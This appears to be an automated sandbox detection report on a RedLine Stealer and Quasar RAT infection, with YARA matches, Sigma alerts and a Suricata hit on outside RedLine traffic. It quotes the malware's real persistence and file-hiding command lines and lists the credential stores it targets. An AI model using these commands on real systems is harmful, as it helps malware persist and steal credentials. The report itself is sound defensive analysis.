Process Memory Space: OneDrive Updater.exe PID: 8124	JoeSecurity_Quasar	Yara detected Quasar RAT	Joe Security
Click to see the 25 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
4.0.build.exe.5e0000.0.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
4.0.build.exe.5e0000.0.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
4.0.build.exe.5e0000.0.unpack	Windows_Trojan_RedLineStealer_f54632eb	unknown	unknown	0x135ca:$a4: get_ScannedWallets 0x12428:$a5: get_ScanTelegram 0x1324e:$a6: get_ScanGeckoBrowsersPaths 0x1106a:$a7: <Processes>k__BackingField 0xef7c:$a8: <GetWindowsVersion>g__HKLM_GetString\|11_0 0x1099e:$a9: <ScanFTP>k__BackingField
4.0.build.exe.5e0000.0.unpack	MALWARE_Win_RedLine	Detects RedLine infostealer	ditekSHen	0x1048a:$u7: RunPE 0x13b41:$u8: DownloadAndEx 0x9130:$pat14: , CommandLine: 0x13079:$v2_1: ListOfProcesses 0x1068b:$v2_2: get_ScanVPN 0x1072e:$v2_2: get_ScanFTP 0x1141e:$v2_2: get_ScanDiscord 0x1240c:$v2_2: get_ScanSteam 0x12428:$v2_2: get_ScanTelegram 0x124ce:$v2_2: get_ScanScreen 0x13216:$v2_2: get_ScanChromeBrowsersPaths 0x1324e:$v2_2: get_ScanGeckoBrowsersPaths 0x13509:$v2_2: get_ScanBrowsers 0x135ca:$v2_2: get_ScannedWallets 0x135f0:$v2_2: get_ScanWallets 0x13610:$v2_3: GetArguments 0x11cd9:$v2_4: VerifyUpdate 0x165ee:$v2_4: VerifyUpdate 0x139ca:$v2_5: VerifyScanRequest 0x130c6:$v2_6: GetUpdates 0x165cf:$v2_6: GetUpdates
7.2.OneDrive.exe.43d6b80.1.unpack	JoeSecurity_Quasar	Yara detected Quasar RAT	Joe Security
7.2.OneDrive.exe.43d6b80.1.unpack	MAL_QuasarRAT_May19_1	Detects QuasarRAT malware	Florian Roth	0x28d0d8:$x1: Quasar.Common.Messages 0x29d401:$x1: Quasar.Common.Messages 0x2a99fa:$x4: Uninstalling... good bye :-( 0x2ab1ef:$xc2: 00 70 00 69 00 6E 00 67 00 20 00 2D 00 6E 00 20 00 31 00 30 00 20 00 6C 00 6F 00 63 00 61 00 6C 00 68 00 6F 00 73 00 74 00 20 00 3E 00 20 00 6E 00 75 00 6C 00 0D 00 0A 00 64 00 65 00 6C 00 20 ...
7.2.OneDrive.exe.43d6b80.1.unpack	INDICATOR_SUSPICIOUS_GENInfoStealer	Detects executables containing common artifcats observed in infostealers	ditekSHen	0x2a8fac:$f1: FileZilla\recentservers.xml 0x2a8fec:$f2: FileZilla\sitemanager.xml 0x2a902e:$f3: SOFTWARE\\Martin Prikryl\\WinSCP 2\\Sessions 0x2a927a:$b1: Chrome\User Data\ 0x2a92d0:$b1: Chrome\User Data\ 0x2a95a8:$b2: Mozilla\Firefox\Profiles 0x2a96a4:$b3: Software\Microsoft\Internet Explorer\IntelliForms\Storage2 0x2fb650:$b3: Software\Microsoft\Internet Explorer\IntelliForms\Storage2 0x2a97fc:$b4: Opera Software\Opera Stable\Login Data 0x2a98b6:$b5: YandexBrowser\User Data\ 0x2a9924:$b5: YandexBrowser\User Data\ 0x2a95f8:$s4: logins.json 0x2a932e:$a1: username_value 0x2a934c:$a2: password_value 0x2a9638:$a3: encryptedUsername 0x2fb594:$a3: encryptedUsername 0x2a965c:$a4: encryptedPassword 0x2fb5b2:$a4: encryptedPassword 0x2fb530:$a5: httpRealm
7.2.OneDrive.exe.43d6b80.1.unpack	MALWARE_Win_QuasarStealer	Detects Quasar infostealer	ditekshen	0x163116:$s1: PGma.System.MouseKeyHook, Version=5.6.130.0, Culture=neutral, PublicKeyToken=null 0x2a9ae4:$s3: Process already elevated. 0x28cdd7:$s4: get_PotentiallyVulnerablePasswords 0x276e58:$s5: GetKeyloggerLogsDirectory 0x29cb60:$s5: GetKeyloggerLogsDirectory 0x28cdfa:$s6: set_PotentiallyVulnerablePasswords 0x2fcc7e:$s7: BQuasar.Client.Extensions.RegistryKeyExtensions+<GetKeyValues>
7.2.OneDrive.exe.46f41b0.0.raw.unpack	JoeSecurity_Quasar	Yara detected Quasar RAT	Joe Security
7.2.OneDrive.exe.46f41b0.0.raw.unpack	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
7.2.OneDrive.exe.46f41b0.0.raw.unpack	MAL_QuasarRAT_May19_1	Detects QuasarRAT malware	Florian Roth	0x28eed8:$x1: Quasar.Common.Messages 0x29f201:$x1: Quasar.Common.Messages 0x2ab7fa:$x4: Uninstalling... good bye :-( 0x2acfef:$xc2: 00 70 00 69 00 6E 00 67 00 20 00 2D 00 6E 00 20 00 31 00 30 00 20 00 6C 00 6F 00 63 00 61 00 6C 00 68 00 6F 00 73 00 74 00 20 00 3E 00 20 00 6E 00 75 00 6C 00 0D 00 0A 00 64 00 65 00 6C 00 20 ...
7.2.OneDrive.exe.46f41b0.0.raw.unpack	INDICATOR_SUSPICIOUS_GENInfoStealer	Detects executables containing common artifcats observed in infostealers	ditekSHen	0x2aadac:$f1: FileZilla\recentservers.xml 0x2aadec:$f2: FileZilla\sitemanager.xml 0x2aae2e:$f3: SOFTWARE\\Martin Prikryl\\WinSCP 2\\Sessions 0x2ab07a:$b1: Chrome\User Data\ 0x2ab0d0:$b1: Chrome\User Data\ 0x2ab3a8:$b2: Mozilla\Firefox\Profiles 0x2ab4a4:$b3: Software\Microsoft\Internet Explorer\IntelliForms\Storage2 0x2fd450:$b3: Software\Microsoft\Internet Explorer\IntelliForms\Storage2 0x2ab5fc:$b4: Opera Software\Opera Stable\Login Data 0x2ab6b6:$b5: YandexBrowser\User Data\ 0x2ab724:$b5: YandexBrowser\User Data\ 0x2ab3f8:$s4: logins.json 0x2ab12e:$a1: username_value 0x2ab14c:$a2: password_value 0x2ab438:$a3: encryptedUsername 0x2fd394:$a3: encryptedUsername 0x2ab45c:$a4: encryptedPassword 0x2fd3b2:$a4: encryptedPassword 0x2fd330:$a5: httpRealm
7.2.OneDrive.exe.46f41b0.0.raw.unpack	MALWARE_Win_QuasarStealer	Detects Quasar infostealer	ditekshen	0x164f16:$s1: PGma.System.MouseKeyHook, Version=5.6.130.0, Culture=neutral, PublicKeyToken=null 0x2ab8e4:$s3: Process already elevated. 0x28ebd7:$s4: get_PotentiallyVulnerablePasswords 0x278c58:$s5: GetKeyloggerLogsDirectory 0x29e960:$s5: GetKeyloggerLogsDirectory 0x28ebfa:$s6: set_PotentiallyVulnerablePasswords 0x2fea7e:$s7: BQuasar.Client.Extensions.RegistryKeyExtensions+<GetKeyValues>
7.2.OneDrive.exe.46f41b0.0.unpack	JoeSecurity_Quasar	Yara detected Quasar RAT	Joe Security
7.2.OneDrive.exe.46f41b0.0.unpack	MAL_QuasarRAT_May19_1	Detects QuasarRAT malware	Florian Roth	0x28d0d8:$x1: Quasar.Common.Messages 0x29d401:$x1: Quasar.Common.Messages 0x2a99fa:$x4: Uninstalling... good bye :-( 0x2ab1ef:$xc2: 00 70 00 69 00 6E 00 67 00 20 00 2D 00 6E 00 20 00 31 00 30 00 20 00 6C 00 6F 00 63 00 61 00 6C 00 68 00 6F 00 73 00 74 00 20 00 3E 00 20 00 6E 00 75 00 6C 00 0D 00 0A 00 64 00 65 00 6C 00 20 ...
7.2.OneDrive.exe.46f41b0.0.unpack	INDICATOR_SUSPICIOUS_GENInfoStealer	Detects executables containing common artifcats observed in infostealers	ditekSHen	0x2a8fac:$f1: FileZilla\recentservers.xml 0x2a8fec:$f2: FileZilla\sitemanager.xml 0x2a902e:$f3: SOFTWARE\\Martin Prikryl\\WinSCP 2\\Sessions 0x2a927a:$b1: Chrome\User Data\ 0x2a92d0:$b1: Chrome\User Data\ 0x2a95a8:$b2: Mozilla\Firefox\Profiles 0x2a96a4:$b3: Software\Microsoft\Internet Explorer\IntelliForms\Storage2 0x2fb650:$b3: Software\Microsoft\Internet Explorer\IntelliForms\Storage2 0x2a97fc:$b4: Opera Software\Opera Stable\Login Data 0x2a98b6:$b5: YandexBrowser\User Data\ 0x2a9924:$b5: YandexBrowser\User Data\ 0x2a95f8:$s4: logins.json 0x2a932e:$a1: username_value 0x2a934c:$a2: password_value 0x2a9638:$a3: encryptedUsername 0x2fb594:$a3: encryptedUsername 0x2a965c:$a4: encryptedPassword 0x2fb5b2:$a4: encryptedPassword 0x2fb530:$a5: httpRealm
7.2.OneDrive.exe.46f41b0.0.unpack	MALWARE_Win_QuasarStealer	Detects Quasar infostealer	ditekshen	0x163116:$s1: PGma.System.MouseKeyHook, Version=5.6.130.0, Culture=neutral, PublicKeyToken=null 0x2a9ae4:$s3: Process already elevated. 0x28cdd7:$s4: get_PotentiallyVulnerablePasswords 0x276e58:$s5: GetKeyloggerLogsDirectory 0x29cb60:$s5: GetKeyloggerLogsDirectory 0x28cdfa:$s6: set_PotentiallyVulnerablePasswords 0x2fcc7e:$s7: BQuasar.Client.Extensions.RegistryKeyExtensions+<GetKeyValues>
32.2.RegAsm.exe.400000.0.unpack	JoeSecurity_Quasar	Yara detected Quasar RAT	Joe Security
32.2.RegAsm.exe.400000.0.unpack	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
32.2.RegAsm.exe.400000.0.unpack	MAL_QuasarRAT_May19_1	Detects QuasarRAT malware	Florian Roth	0x28eed8:$x1: Quasar.Common.Messages 0x29f201:$x1: Quasar.Common.Messages 0x2ab7fa:$x4: Uninstalling... good bye :-( 0x2acfef:$xc2: 00 70 00 69 00 6E 00 67 00 20 00 2D 00 6E 00 20 00 31 00 30 00 20 00 6C 00 6F 00 63 00 61 00 6C 00 68 00 6F 00 73 00 74 00 20 00 3E 00 20 00 6E 00 75 00 6C 00 0D 00 0A 00 64 00 65 00 6C 00 20 ...
32.2.RegAsm.exe.400000.0.unpack	INDICATOR_SUSPICIOUS_GENInfoStealer	Detects executables containing common artifcats observed in infostealers	ditekSHen	0x2aadac:$f1: FileZilla\recentservers.xml 0x2aadec:$f2: FileZilla\sitemanager.xml 0x2aae2e:$f3: SOFTWARE\\Martin Prikryl\\WinSCP 2\\Sessions 0x2ab07a:$b1: Chrome\User Data\ 0x2ab0d0:$b1: Chrome\User Data\ 0x2ab3a8:$b2: Mozilla\Firefox\Profiles 0x2ab4a4:$b3: Software\Microsoft\Internet Explorer\IntelliForms\Storage2 0x2fd450:$b3: Software\Microsoft\Internet Explorer\IntelliForms\Storage2 0x2ab5fc:$b4: Opera Software\Opera Stable\Login Data 0x2ab6b6:$b5: YandexBrowser\User Data\ 0x2ab724:$b5: YandexBrowser\User Data\ 0x2ab3f8:$s4: logins.json 0x2ab12e:$a1: username_value 0x2ab14c:$a2: password_value 0x2ab438:$a3: encryptedUsername 0x2fd394:$a3: encryptedUsername 0x2ab45c:$a4: encryptedPassword 0x2fd3b2:$a4: encryptedPassword 0x2fd330:$a5: httpRealm
32.2.RegAsm.exe.400000.0.unpack	MALWARE_Win_QuasarStealer	Detects Quasar infostealer	ditekshen	0x164f16:$s1: PGma.System.MouseKeyHook, Version=5.6.130.0, Culture=neutral, PublicKeyToken=null 0x2ab8e4:$s3: Process already elevated. 0x28ebd7:$s4: get_PotentiallyVulnerablePasswords 0x278c58:$s5: GetKeyloggerLogsDirectory 0x29e960:$s5: GetKeyloggerLogsDirectory 0x28ebfa:$s6: set_PotentiallyVulnerablePasswords 0x2fea7e:$s7: BQuasar.Client.Extensions.RegistryKeyExtensions+<GetKeyValues>
7.2.OneDrive.exe.43d6b80.1.raw.unpack	JoeSecurity_Quasar	Yara detected Quasar RAT	Joe Security
7.2.OneDrive.exe.43d6b80.1.raw.unpack	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
7.2.OneDrive.exe.43d6b80.1.raw.unpack	MAL_QuasarRAT_May19_1	Detects QuasarRAT malware	Florian Roth	0x28eed8:$x1: Quasar.Common.Messages 0x29f201:$x1: Quasar.Common.Messages 0x5ac508:$x1: Quasar.Common.Messages 0x5bc831:$x1: Quasar.Common.Messages 0x2ab7fa:$x4: Uninstalling... good bye :-( 0x5c8e2a:$x4: Uninstalling... good bye :-( 0x2acfef:$xc2: 00 70 00 69 00 6E 00 67 00 20 00 2D 00 6E 00 20 00 31 00 30 00 20 00 6C 00 6F 00 63 00 61 00 6C 00 68 00 6F 00 73 00 74 00 20 00 3E 00 20 00 6E 00 75 00 6C 00 0D 00 0A 00 64 00 65 00 6C 00 20 ... 0x5ca61f:$xc2: 00 70 00 69 00 6E 00 67 00 20 00 2D 00 6E 00 20 00 31 00 30 00 20 00 6C 00 6F 00 63 00 61 00 6C 00 68 00 6F 00 73 00 74 00 20 00 3E 00 20 00 6E 00 75 00 6C 00 0D 00 0A 00 64 00 65 00 6C 00 20 ...
7.2.OneDrive.exe.43d6b80.1.raw.unpack	INDICATOR_SUSPICIOUS_GENInfoStealer	Detects executables containing common artifcats observed in infostealers	ditekSHen	0x2aadac:$f1: FileZilla\recentservers.xml 0x5c83dc:$f1: FileZilla\recentservers.xml 0x2aadec:$f2: FileZilla\sitemanager.xml 0x5c841c:$f2: FileZilla\sitemanager.xml 0x2aae2e:$f3: SOFTWARE\\Martin Prikryl\\WinSCP 2\\Sessions 0x5c845e:$f3: SOFTWARE\\Martin Prikryl\\WinSCP 2\\Sessions 0x2ab07a:$b1: Chrome\User Data\ 0x2ab0d0:$b1: Chrome\User Data\ 0x5c86aa:$b1: Chrome\User Data\ 0x5c8700:$b1: Chrome\User Data\ 0x2ab3a8:$b2: Mozilla\Firefox\Profiles 0x5c89d8:$b2: Mozilla\Firefox\Profiles 0x2ab4a4:$b3: Software\Microsoft\Internet Explorer\IntelliForms\Storage2 0x2fd450:$b3: Software\Microsoft\Internet Explorer\IntelliForms\Storage2 0x5c8ad4:$b3: Software\Microsoft\Internet Explorer\IntelliForms\Storage2 0x61aa80:$b3: Software\Microsoft\Internet Explorer\IntelliForms\Storage2 0x2ab5fc:$b4: Opera Software\Opera Stable\Login Data 0x5c8c2c:$b4: Opera Software\Opera Stable\Login Data 0x2ab6b6:$b5: YandexBrowser\User Data\ 0x2ab724:$b5: YandexBrowser\User Data\ 0x5c8ce6:$b5: YandexBrowser\User Data\
7.2.OneDrive.exe.43d6b80.1.raw.unpack	MALWARE_Win_QuasarStealer	Detects Quasar infostealer	ditekshen	0x164f16:$s1: PGma.System.MouseKeyHook, Version=5.6.130.0, Culture=neutral, PublicKeyToken=null 0x482546:$s1: PGma.System.MouseKeyHook, Version=5.6.130.0, Culture=neutral, PublicKeyToken=null 0x2ab8e4:$s3: Process already elevated. 0x5c8f14:$s3: Process already elevated. 0x28ebd7:$s4: get_PotentiallyVulnerablePasswords 0x5ac207:$s4: get_PotentiallyVulnerablePasswords 0x278c58:$s5: GetKeyloggerLogsDirectory 0x29e960:$s5: GetKeyloggerLogsDirectory 0x596288:$s5: GetKeyloggerLogsDirectory 0x5bbf90:$s5: GetKeyloggerLogsDirectory 0x28ebfa:$s6: set_PotentiallyVulnerablePasswords 0x5ac22a:$s6: set_PotentiallyVulnerablePasswords 0x2fea7e:$s7: BQuasar.Client.Extensions.RegistryKeyExtensions+<GetKeyValues> 0x61c0ae:$s7: BQuasar.Client.Extensions.RegistryKeyExtensions+<GetKeyValues>
Click to see the 22 entries

Sigma Signatures

System Summary

Sigma detected: Files With System Process Name In Unsuspected Locations

Source: File created

Author: Sander Wiebing, Tim Shelton, Nasreddine Bencherchali (Nextron Systems): Data: EventID: 11, Image: C:\Users\user\AppData\Roaming\VLC Media Player\vlc.exe, ProcessId: 7316, TargetFilename: C:\Users\user\AppData\Roaming\Google\Chrome\svchost.exe

Sigma detected: Invoke-Obfuscation CLIP+ Launcher

Source: Process started

Author: Jonathan Cheong, oscd.community: Data: Command: "cmd" /C schtasks /create /tn \OneDriveUpdate /tr "C:\Users\user\AppData\Roaming\OneDriveUpdate\OneDrive Updater.exe" /st 00:00 /du 9999:59 /sc once /ri 60 /rl HIGHEST /f, CommandLine: "cmd" /C schtasks /create /tn \OneDriveUpdate /tr "C:\Users\user\AppData\Roaming\OneDriveUpdate\OneDrive Updater.exe" /st 00:00 /du 9999:59 /sc once /ri 60 /rl HIGHEST /f, CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\cmd.exe, NewProcessName: C:\Windows\SysWOW64\cmd.exe, OriginalFileName: C:\Windows\SysWOW64\cmd.exe, ParentCommandLine: "C:\Users\user\AppData\Roaming\OneDrive Update Tool\OneDrive.exe" , ParentImage: C:\Users\user\AppData\Roaming\OneDrive Update Tool\OneDrive.exe, ParentProcessId: 6972, ParentProcessName: OneDrive.exe, ProcessCommandLine: "cmd" /C schtasks /create /tn \OneDriveUpdate /tr "C:\Users\user\AppData\Roaming\OneDriveUpdate\OneDrive Updater.exe" /st 00:00 /du 9999:59 /sc once /ri 60 /rl HIGHEST /f, ProcessId: 6976, ProcessName: cmd.exe

Sigma detected: Invoke-Obfuscation VAR+ Launcher

Source: Process started

Sigma detected: Suspect Svchost Activity

Source: Process started

Author: David Burkett, @signalblur: Data: Command: C:\Windows\System32\svchost.exe, CommandLine: C:\Windows\System32\svchost.exe, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1, ParentImage: C:\Windows\System32\conhost.exe, ParentProcessId: 7176, ParentProcessName: conhost.exe, ProcessCommandLine: C:\Windows\System32\svchost.exe, ProcessId: 4324, ProcessName: svchost.exe

Sigma detected: CurrentVersion Autorun Keys Modification

Source: Registry Key set

Author: Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split): Data: Details: C:\Users\user\AppData\Local\Msedge.exe, EventID: 13, EventType: SetValue, Image: C:\Users\user\AppData\Roaming\AdobeLicense\AdobeUpdate.exe, ProcessId: 3064, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Microsoft Edge

Sigma detected: Suspicious Copy From or To System Directory

Source: Process started

Author: Florian Roth (Nextron Systems), Markus Neis, Tim Shelton (HAWK.IO), Nasreddine Bencherchali (Nextron Systems): Data: Command: C:\Windows\system32\cmd.exe /c start cmd /Q /C " ping localhost -n 1 && copy "C:\Users\user\AppData\Roaming\AdobeLicense\AdobeUpdate.exe" "C:\Users\user\AppData\Local\Msedge.exe" && attrib +r +h +a "C:\Users\user\AppData\Local\Msedge.exe" && icacls "C:\Users\user\AppData\Local\Msedge.exe" /deny "everyone":(WD,AD,WEA,WA) && del "C:\Users\user\AppData\Roaming\AdobeLicense\AdobeUpdate.exe" && cmd /C "start "C:\Users\user\AppData\Local\Msedge.exe" && exit" && && exit ", CommandLine: C:\Windows\system32\cmd.exe /c start cmd /Q /C " ping localhost -n 1 && copy "C:\Users\user\AppData\Roaming\AdobeLicense\AdobeUpdate.exe" "C:\Users\user\AppData\Local\Msedge.exe" && attrib +r +h +a "C:\Users\user\AppData\Local\Msedge.exe" && icacls "C:\Users\user\AppData\Local\Msedge.exe" /deny "everyone":(WD,AD,WEA,WA) && del "C:\Users\user\AppData\Roaming\AdobeLicense\AdobeUpdate.exe" && cmd /C "start "C:\Users\user\AppData\Local\Msedge.exe" && exit" && && exit ", CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: "C:\Users\user\AppData\Roaming\AdobeLicense\AdobeUpdate.exe" , ParentImage: C:\Users\user\AppData\Roaming\AdobeLicense\AdobeUpdate.exe, ParentProcessId: 3064, ParentProcessName: AdobeUpdate.exe, ProcessCommandLine: C:\Windows\system32\cmd.exe /c start cmd /Q /C " ping localhost -n 1 && copy "C:\Users\user\AppData\Roaming\AdobeLicense\AdobeUpdate.exe" "C:\Users\user\AppData\Local\Msedge.exe" && attrib +r +h +a "C:\Users\user\AppData\Local\Msedge.exe" && icacls "C:\Users\user\AppData\Local\Msedge.exe" /deny "everyone":(WD,AD,WEA,WA) && del "C:\Users\user\AppData\Roaming\AdobeLicense\AdobeUpdate.exe" && cmd /C "start "C:\Users\user\AppData\Local\Msedge.exe" && exit" && && exit ", ProcessId: 1220, ProcessName: cmd.exe

Sigma detected: Suspicious Schtasks From Env Var Folder

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: schtasks /create /tn \OneDriveUpdate /tr "C:\Users\user\AppData\Roaming\OneDriveUpdate\OneDrive Updater.exe" /st 00:00 /du 9999:59 /sc once /ri 60 /rl HIGHEST /f, CommandLine: schtasks /create /tn \OneDriveUpdate /tr "C:\Users\user\AppData\Roaming\OneDriveUpdate\OneDrive Updater.exe" /st 00:00 /du 9999:59 /sc once /ri 60 /rl HIGHEST /f, CommandLine|base64offset|contains: mj,, Image: C:\Windows\SysWOW64\schtasks.exe, NewProcessName: C:\Windows\SysWOW64\schtasks.exe, OriginalFileName: C:\Windows\SysWOW64\schtasks.exe, ParentCommandLine: "cmd" /C schtasks /create /tn \OneDriveUpdate /tr "C:\Users\user\AppData\Roaming\OneDriveUpdate\OneDrive Updater.exe" /st 00:00 /du 9999:59 /sc once /ri 60 /rl HIGHEST /f, ParentImage: C:\Windows\SysWOW64\cmd.exe, ParentProcessId: 6976, ParentProcessName: cmd.exe, ProcessCommandLine: schtasks /create /tn \OneDriveUpdate /tr "C:\Users\user\AppData\Roaming\OneDriveUpdate\OneDrive Updater.exe" /st 00:00 /du 9999:59 /sc once /ri 60 /rl HIGHEST /f, ProcessId: 7332, ProcessName: schtasks.exe

Sigma detected: Uncommon Svchost Parent Process

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: C:\Windows\System32\svchost.exe, CommandLine: C:\Windows\System32\svchost.exe, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1, ParentImage: C:\Windows\System32\conhost.exe, ParentProcessId: 7176, ParentProcessName: conhost.exe, ProcessCommandLine: C:\Windows\System32\svchost.exe, ProcessId: 4324, ProcessName: svchost.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: "powershell.exe" Remove -ItemProperty -Path 'HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run' -Name 'OneDriveUpdate';New-ItemProperty -Path 'HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run' -Name 'OneDriveUpdate' -Value '"C:\Users\user\AppData\Roaming\OneDriveUpdate\OneDrive Updater.exe"' -PropertyType 'String', CommandLine: "powershell.exe" Remove -ItemProperty -Path 'HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run' -Name 'OneDriveUpdate';New-ItemProperty -Path 'HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run' -Name 'OneDriveUpdate' -Value '"C:\Users\user\AppData\Roaming\OneDriveUpdate\OneDrive Updater.exe"' -PropertyType 'String', CommandLine|base64offset|contains: E, Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Users\user\AppData\Roaming\OneDrive Update Tool\OneDrive.exe" , ParentImage: C:\Users\user\AppData\Roaming\OneDrive Update Tool\OneDrive.exe, ParentProcessId: 6972, ParentProcessName: OneDrive.exe, ProcessCommandLine: "powershell.exe" Remove -ItemProperty -Path 'HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run' -Name 'OneDriveUpdate';New-ItemProperty -Path 'HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run' -Name 'OneDriveUpdate' -Value '"C:\Users\user\AppData\Roaming\OneDriveUpdate\OneDrive Updater.exe"' -PropertyType 'String', ProcessId: 3320, ProcessName: powershell.exe

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\System32\svchost.exe -k WerSvcGroup, CommandLine: C:\Windows\System32\svchost.exe -k WerSvcGroup, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 620, ProcessCommandLine: C:\Windows\System32\svchost.exe -k WerSvcGroup, ProcessId: 7532, ProcessName: svchost.exe

Persistence and Installation Behavior

Sigma detected: Schedule system process

Source: Process started

Author: Joe Security: Data: Command: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#npnsokoe#> IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /tn 'ConsoleWindowsHost' /tr '''C:\Users\user\AppData\Roaming\Google\Chrome\svchost.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Users\user\AppData\Roaming\Google\Chrome\svchost.exe') -Trigger (New-ScheduledTaskTrigger -AtLogOn) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'ConsoleWindowsHost' -RunLevel 'Highest' -Force; }, CommandLine: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#npnsokoe#> IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /tn 'ConsoleWindowsHost' /tr '''C:\Users\user\AppData\Roaming\Google\Chrome\svchost.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Users\user\AppData\Roaming\Google\Chrome\svchost.exe') -Trigger (New-ScheduledTaskTrigger -AtLogOn) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'ConsoleWindowsHost' -RunLevel 'Highest' -Force; }, CommandLine|base64offset|contains: [, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 2580, ProcessCommandLine: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#npnsokoe#> IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /tn 'ConsoleWindowsHost' /tr '''C:\Users\user\AppData\Roaming\Google\Chrome\svchost.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Users\user\AppData\Roaming\Google\Chrome\svchost.exe') -Trigger (New-ScheduledTaskTrigger -AtLogOn) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'ConsoleWindowsHost' -RunLevel 'Highest' -Force; }, ProcessId: 7388, ProcessName: powershell.exe

Sigma detected: Set autostart key via New-ItemProperty Cmdlet

Source: Process started

Author: Joe Security: Data: Command: "powershell.exe" Remove -ItemProperty -Path 'HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run' -Name 'OneDriveUpdate';New-ItemProperty -Path 'HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run' -Name 'OneDriveUpdate' -Value '"C:\Users\user\AppData\Roaming\OneDriveUpdate\OneDrive Updater.exe"' -PropertyType 'String', CommandLine: "powershell.exe" Remove -ItemProperty -Path 'HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run' -Name 'OneDriveUpdate';New-ItemProperty -Path 'HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run' -Name 'OneDriveUpdate' -Value '"C:\Users\user\AppData\Roaming\OneDriveUpdate\OneDrive Updater.exe"' -PropertyType 'String', CommandLine|base64offset|contains: E, Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Users\user\AppData\Roaming\OneDrive Update Tool\OneDrive.exe" , ParentImage: C:\Users\user\AppData\Roaming\OneDrive Update Tool\OneDrive.exe, ParentProcessId: 6972, ParentProcessName: OneDrive.exe, ProcessCommandLine: "powershell.exe" Remove -ItemProperty -Path 'HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run' -Name 'OneDriveUpdate';New-ItemProperty -Path 'HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run' -Name 'OneDriveUpdate' -Value '"C:\Users\user\AppData\Roaming\OneDriveUpdate\OneDrive Updater.exe"' -PropertyType 'String', ProcessId: 3320, ProcessName: powershell.exe

Snort Signatures

⊘No Snort rule has matched

Suricata Signatures

ETPRO MALWARE RedLine - CheckConnect Request - Source IP: 192.168.2.4 - Destination IP: 154.81.220.233

Timestamp:	2024-07-26T20:46:54.696928+0200
SID:	2849662
Source Port:	49765
Destination Port:	28105
